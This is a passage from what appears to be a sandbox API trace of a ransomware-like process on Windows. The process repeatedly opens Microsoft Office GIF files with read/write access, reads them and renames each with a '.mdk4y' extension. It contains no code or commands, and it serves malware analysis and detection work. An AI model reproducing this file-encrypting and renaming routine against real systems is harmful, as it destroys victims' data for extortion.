lpPerformanceCount=0x37de58*=1825938300000) returned 1 [0184.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif.mdk4y")) returned 1 [0184.155] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.155] AreFileApisANSI () returned 1 [0184.155] GetACP () returned 0x4e4 [0184.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21318_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21318_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.155] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825938700000) returned 1 [0184.157] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11e, lpOverlapped=0x0) returned 1 [0184.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825938800000) returned 1 [0184.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825938800000) returned 1 [0184.159] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif.mdk4y")) returned 1 [0184.160] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.160] AreFileApisANSI () returned 1 [0184.160] GetACP () returned 0x4e4 [0184.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21319_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21319_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.160] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825939200000) returned 1 [0184.162] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x193, lpOverlapped=0x0) returned 1 [0184.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825939300000) returned 1 [0184.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825939300000) returned 1 [0184.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif.mdk4y")) returned 1 [0184.165] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.165] AreFileApisANSI () returned 1 [0184.165] GetACP () returned 0x4e4 [0184.165] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21320_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21320_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.165] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825939600000) returned 1 [0184.166] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x664, lpOverlapped=0x0) returned 1 [0184.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825939800000) returned 1 [0184.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825939800000) returned 1 [0184.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif.mdk4y")) returned 1 [0184.170] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.170] AreFileApisANSI () returned 1 [0184.170] GetACP () returned 0x4e4 [0184.170] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21321_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21321_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.170] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825940100000) returned 1 [0184.171] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9c5, lpOverlapped=0x0) returned 1 [0184.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825940300000) returned 1 [0184.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825940300000) returned 1 [0184.173] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif.mdk4y")) returned 1 [0184.175] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.175] AreFileApisANSI () returned 1 [0184.175] GetACP () returned 0x4e4 [0184.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21322_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21322_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.175] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825940600000) returned 1 [0184.176] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4d3, lpOverlapped=0x0) returned 1 [0184.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825940800000) returned 1 [0184.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825940800000) returned 1 [0184.178] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif.mdk4y")) returned 1 [0184.179] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.179] AreFileApisANSI () returned 1 [0184.179] GetACP () returned 0x4e4 [0184.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21323_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21323_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.179] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.181] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825941100000) returned 1 [0184.181] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x395, lpOverlapped=0x0) returned 1 [0184.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825947000000) returned 1 [0184.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825947000000) returned 1 [0184.241] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif.mdk4y")) returned 1 [0184.242] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.242] AreFileApisANSI () returned 1 [0184.242] GetACP () returned 0x4e4 [0184.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21324_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21324_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825947400000) returned 1 [0184.244] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x395, lpOverlapped=0x0) returned 1 [0184.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825948400000) returned 1 [0184.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825948400000) returned 1 [0184.255] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif.mdk4y")) returned 1 [0184.256] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.256] AreFileApisANSI () returned 1 [0184.256] GetACP () returned 0x4e4 [0184.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21325_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21325_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.256] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825948700000) returned 1 [0184.257] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5e0, lpOverlapped=0x0) returned 1 [0184.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825948800000) returned 1 [0184.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825948800000) returned 1 [0184.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif.mdk4y")) returned 1 [0184.260] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.260] AreFileApisANSI () returned 1 [0184.260] GetACP () returned 0x4e4 [0184.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21326_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21326_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.260] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825949100000) returned 1 [0184.261] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6f9, lpOverlapped=0x0) returned 1 [0184.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825949200000) returned 1 [0184.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825949200000) returned 1 [0184.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif.mdk4y")) returned 1 [0184.327] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.327] AreFileApisANSI () returned 1 [0184.327] GetACP () returned 0x4e4 [0184.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21328_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21328_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.327] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825955800000) returned 1 [0184.328] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x185, lpOverlapped=0x0) returned 1 [0184.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825955900000) returned 1 [0184.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825955900000) returned 1 [0184.330] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif.mdk4y")) returned 1 [0184.331] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.331] AreFileApisANSI () returned 1 [0184.331] GetACP () returned 0x4e4 [0184.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21330_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21330_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.331] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825956200000) returned 1 [0184.332] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d0, lpOverlapped=0x0) returned 1 [0184.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825956300000) returned 1 [0184.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825956300000) returned 1 [0184.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif.mdk4y")) returned 1 [0184.334] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.334] AreFileApisANSI () returned 1 [0184.334] GetACP () returned 0x4e4 [0184.334] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21332_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21332_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.334] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825956500000) returned 1 [0184.335] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f91, lpOverlapped=0x0) returned 1 [0184.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825960000000) returned 1 [0184.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825960000000) returned 1 [0184.370] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif.mdk4y")) returned 1 [0184.372] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.372] AreFileApisANSI () returned 1 [0184.372] GetACP () returned 0x4e4 [0184.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21334_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21334_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.372] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825960300000) returned 1 [0184.373] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x888, lpOverlapped=0x0) returned 1 [0184.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825961500000) returned 1 [0184.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825961500000) returned 1 [0184.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif.mdk4y")) returned 1 [0184.387] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.387] AreFileApisANSI () returned 1 [0184.387] GetACP () returned 0x4e4 [0184.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD21336_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD21336_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.387] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825961800000) returned 1 [0184.388] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaeb, lpOverlapped=0x0) returned 1 [0184.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825966900000) returned 1 [0184.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825966900000) returned 1 [0184.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif"), lpNewFileName="C:\\Program 